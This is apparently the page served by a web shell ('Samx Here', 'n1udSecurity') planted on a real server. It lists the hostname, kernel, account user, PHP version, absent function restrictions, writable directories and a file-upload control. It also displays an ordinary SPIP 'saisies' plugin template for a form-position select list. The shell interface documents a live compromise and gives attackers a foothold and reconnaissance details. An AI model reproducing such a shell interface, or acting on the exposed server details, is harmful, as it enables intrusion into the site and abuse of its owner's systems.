Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/pragmatice/public_html/lesite/plugins/saisies/saisies/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/pragmatice/public_html/lesite/plugins/saisies/saisies/position_construire_formulaire.html
<select name="#ENV{nom}" id="champ_[(#ENV{id,#ENV{nom}}|saisie_nom2classe)]">
	#SET{tab,#ENV{formulaire}}
	#SET{tab_par_nom,#ENV{formulaire}|saisies_lister_par_nom}
	#SET{indent,0}
	#SET{liste_parents,#ARRAY{0,''}}
	<BOUCLE_parcours(DATA){source tableau, #GET{tab}}>
	#SET{saisie,#VALEUR}
	<option value="#GET{saisie/options/nom}" [(#ENV{valeur,#ENV{saisie_a_positionner}}|=={#GET{saisie/options/nom}}|oui)selected="selected"]>
		[(#VAL{&nbsp;}|str_repeat{#GET{indent}})]
		[(#GET{saisie/options/label}
			|sinon{#GET{saisie/options/label_case}}
			|sinon{#GET{saisie/options/nom}}
			|sinon{''}
			|couper{60})]
	</option>
		<BOUCLE_test_enfants(CONDITION){si #GET{saisie/options/nom}|!={#ENV{saisie_a_positionner}}|et{#GET{saisie/saisies}|is_array}}>
		#SET{tab,#GET{saisie/saisies}}
		#SET{indent,#GET{indent}|plus{2}}
		#SET{liste_parents,#GET{liste_parents}|push{#GET{saisie/options/nom}}}
		<BOUCLE_parcours_recursif(BOUCLE_parcours)/>
		#SET{indent,#GET{indent}|moins{2}}
		#SET{liste_parents,#GET{liste_parents}|array_slice{0,-1}}
		</BOUCLE_test_enfants>
	</BOUCLE_parcours>
	#SET{parent, #GET{liste_parents}|table_valeur{#GET{liste_parents}|count|moins{1}}}
	<option value="[#GET{parent}]" style="font-style:italic">
		[(#VAL{&nbsp;}|str_repeat{#GET{indent}})]
		[(#GET{parent}|non)
			<:saisies:construire_position_fin_formulaire:>
		]
		[(#GET{parent}|oui)
			#SET{groupe,#GET{tab_par_nom/#GET{parent}}}
			#SET{groupe,#GET{groupe/options/label}|sinon{#GET{groupe/options/label_case}}|sinon{#GET{groupe/options/nom}}|sinon{''}|couper{60}}
			<:saisies:construire_position_fin_groupe{groupe=#GET{groupe}}:>
		]
	</option>
	</B_parcours>
	#SET{parent, #GET{liste_parents}|table_valeur{#GET{liste_parents}|count|moins{1}}}
	<option value="\[#GET{parent}\]" style="font-style:italic">
		[(#VAL{&nbsp;}|str_repeat{#GET{indent}})]
		[(#GET{parent}|non)
			<:saisies:construire_position_fin_formulaire:>
		]
		[(#GET{parent}|oui)
			#SET{groupe,#GET{tab_par_nom/#GET{parent}}}
			#SET{groupe,#GET{groupe/options/label}|sinon{#GET{groupe/options/nom}}|sinon{''}|couper{60}}
			<:saisies:construire_position_fin_groupe{groupe=#GET{groupe}}:>
		]
	</option>
	<//B_parcours>
</select>

SAMX